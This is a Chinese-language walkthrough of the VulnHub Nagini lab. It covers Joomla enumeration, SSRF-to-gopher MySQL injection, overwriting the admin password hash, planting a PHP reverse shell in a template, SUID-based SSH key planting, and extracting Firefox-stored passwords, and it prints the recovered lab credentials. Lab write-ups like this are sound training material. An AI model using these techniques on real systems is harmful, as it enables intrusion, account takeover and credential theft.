靶场下载链接:https://www.vulnhub.com/entry/harrypotter-nagini,689/

打靶

joomla

namp端口发现80

然后dirsearch

进行joomscan

1
joomscan -u 172.20.10.2/joomla/

发现了.php.bak备份文件

去下载然后发现了数据库的帐号密码,但是远程连接不上去

然后我的思路就被卡住了,看了庆尘哥的WP,他还扫到了note.txt

就是通过http3访问后就可以提示到这个文件internalResourceFeTcher.php

然后就去访问

经过测试发现存在SSRF探测内网资源

SSRF+gopher打RCE

1
2
3
4
5
6
7
1.下载

wget http://github.com/tarunkant/Gopherus/archive/refs/heads/master.zip

2.解压

unzip master.zip
1
2
3
4
5
#这里需要使用py2的环境
python2 gopherus.py --exploit mysql

goblin
use joomla;show tables;

然后复制生成的那一串,到网页上去探测(没有出来,就多刷新几次)

在源码中方便找一些

1
2
3
4
python2 gopherus.py --exploit mysql

goblin
use joomla;select * from joomla_users;

这里发现了帐号密码,但是密码是md5解不开,但是可以跟数据库交互,那么干脆直接改一个md5的密码进去不就行了?

1
2
3
4
5
python2 gopherus.py --exploit mysql

goblin
use joomla;use joomla;update joomla_users set password="21232f297a57a5a743894a0e4a801fc3" where username="site_admin";
#这里的密码为admin

然后就去后台**/joomla/administrator**/登录

1
2
site_admin
admin

反弹shell

因为以前打过红日的靶场跟这个类似,所以直接找到template模块修改,进行反弹shell

这里选择了error.php,把它的全部内容才成了kali中**/usr/share/webshells/php/php-reverse-shell.php**中的内容(注意修改反弹shell的你自己的ip/port)

先在本地开启监听

1
nc -lvvp 8787

然后访问error.php进行触发反弹shell

在网站的根目录下发现了第一个flag

在/home/snape/.creds.txt中进行ba64解密发现了一密码

TG92ZUBsaWxseQ==

猜测就是作者给的当前用户的密码

1
2
ssh snape@172.20.10.2
Love@lilly

cat 第二个flag发现权限不够,因此想着去提权

1
find / -perm -u=s -type f 2>/dev/null

发现了一个不同寻常的东西

最终发现这是一个复制文件的脚本

因此就有了思路,复制ssh的公钥进行免密登录

首先在kali中进行ssh-keygen的生成公钥和私钥

然后把id_rsa.pub上传到服务器上/.ssh/下即可

改名为authorized_keys

权限chmod 640 authorized_keys

然后通过./su_cp authorized_keys /home/hermoine/.ssh/

然后就可以免密登录

1
ssh -i rsa_id hermoine@172.20.10.2

cat horcrux2.txt

拿到flag2

最后一个flag肯定在root中

然后在当前用户中发现了**.mozilla**

这里面可以查找一些用户密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
1.scp -rp hermoine@172.20.10.2:/home/hermoine/.mozilla/firefox /root/demo
下载该文件到kali攻击机

2.wget https://github.com/lclevy/firepwd/archive/refs/heads/master.zip
下载firepwd工具

3.cd firepwd-master
进入工具文件夹

4.sudo pip install -r requirements.txt
下载所需模块

5.cp firepwd-master/firepwd.py demo/firefox/g2mhbq0o.default
将脚本复制到要读取数据的火狐文件中

6.cd demo/firefox/g2mhbq0o.default
进入保存数据的火狐文件

7.python3 firepwd.py
执行脚本,读取数据

root/@Alohomora#123